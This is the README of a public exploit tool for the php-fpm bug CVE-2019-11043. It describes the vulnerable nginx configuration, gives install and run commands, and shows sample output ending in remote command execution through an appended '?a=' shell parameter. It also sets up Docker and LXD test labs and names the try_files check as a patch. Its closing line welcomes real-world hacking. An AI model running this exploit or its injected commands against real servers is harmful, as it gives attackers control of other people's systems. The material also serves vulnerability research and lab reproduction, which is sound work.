PHuiP-FPizdaM

What's this

This is an exploit for a bug in php-fpm (CVE-2019-11043). In certain nginx + php-fpm configurations, the bug is possible to trigger from the outside. This means that a web user may get code execution if you have vulnerable config (see below).

Writeup

While we were too lazy to do a writeup, Orange Tsai published a perfect analysis in his blog. Kudos to him.

Also, my slides from ZeroNights 2019 are available.

What's vulnerable

If a webserver runs nginx + php-fpm and nginx have a configuration like

location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

which also lacks any script existence checks (like try_files), then you can probably hack it with this sploit.

The full list of preconditions

Nginx + php-fpm, location ~ [^/]\.php(/|$) must be forwarded to php-fpm (maybe the regexp can be stricter, see #1).
There must be a PATH_INFO variable assignment via statement fastcgi_param PATH_INFO $fastcgi_path_info;. Also SCRIPT_FILENAME must be set using fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (there might be a constant path instead of $document_root). At first, we thought these are always present in the fastcgi_params file, but it's not true.
There must be a way to set PATH_INFO to an empty value. This exploit assumes that fastcgi_split_path_info directive is there and contains a regexp starting with ^ and ending with $, so it tries to break the regexp with a newline character.
This particular exploit assumes that PATH_INFO is set after REQUEST_URI in the config.
No file existence checks like try_files $uri =404 or if (-f $uri). If Nginx drops requests to non-existing scripts before FastCGI forwarding, our requests never reach php-fpm. Adding this is also the easiest way to patch.
This exploit works only for PHP 7+, but the bug itself is present in earlier versions (see below).

Isn't this known to be vulnerable for years?

A long time ago php-fpm didn't restrict the extensions of the scripts, meaning that something like /avatar.png/some-fake-shit.php could execute avatar.png as a PHP script. This issue was fixed around 2010.

The current one doesn't require file upload, works in the most recent versions (until the fix has landed), and, most importantly, the exploit is much cooler.

How to run

Install it using

go get github.com/neex/phuip-fpizdam

If you get strange compilation errors, make sure you're using go >= 1.13. Run the program using phuip-fpizdam [url] (assuming you have the $GOPATH/bin inside your $PATH, otherwise specify the full path to the binary). Good output looks like this:

2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!

After this, you can start appending ?a=<your command> to all PHP scripts (you may need multiple retries).

Alternatively, you can use a docker image to run the exploit:

docker run --rm ypereirareis/cve-2019-11043 [url]

Playground environments

Using Docker

If you want to reproduce the issue or play with the exploit locally through Docker, do the following:

Clone this repo and go to the reproducer directory.
Create the docker image using docker build -t reproduce-cve-2019-11043 .. It takes a long time as it internally clones the php repository and builds it from the source. However, it will be easier this way if you want to debug the exploit. The revision built is the one right before the fix.
Run the docker using docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.
Now you have http://127.0.0.1:8080/script.php, which is an empty file.
Run the exploit using phuip-fpizdam http://127.0.0.1:8080/script.php
If everything is ok, you'll be able to execute commands by appending ?a= to the script: http://127.0.0.1:8080/script.php?a=id. Try multiple times as only some of php-fpm workers are infected.

Using LXD system containers

If you want to reproduce the issue or play with the exploit locally through LXD, do the following:

Create two system containers, vulnerable and attacker. You can use the ubuntu:18.04 container image for both containers.
In the vulnerable container, install nginx and php-fpm. Configure the server block as this configuration. Create an empty file /var/www/html/index.php.
In the attacker container, install the Go language (sudo snap install go --classic), clone this repository, and run go build in the directory of the repository.
Run the attack as follows: ./phuip-fpizdam http://vulnerable.lxd/index.php. Try multiple types in order to infect all php-fpm workers.

For more details instructions, see Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers.

About PHP5

The buffer underflow in php-fpm is present in PHP version 5. However, this exploit makes use of an optimization used for storing FastCGI variables, _fcgi_data_seg. This optimization is present only in php 7, so this particular exploit works only for php 7. There might be another exploitation technique that works in php 5.

Credits

Original anomaly discovered by d90pwn during Real World CTF. Root clause found by me (Emil Lerner) as well as the way to set php.ini options. Final php.ini options set is found by beched.

License

This exploit is distributed under terms of MIT License.

Refrain from doing any damage with this exploit. But if you really hack something with this thing, I will be happy.

dinhbaouit/phuip-fpizdam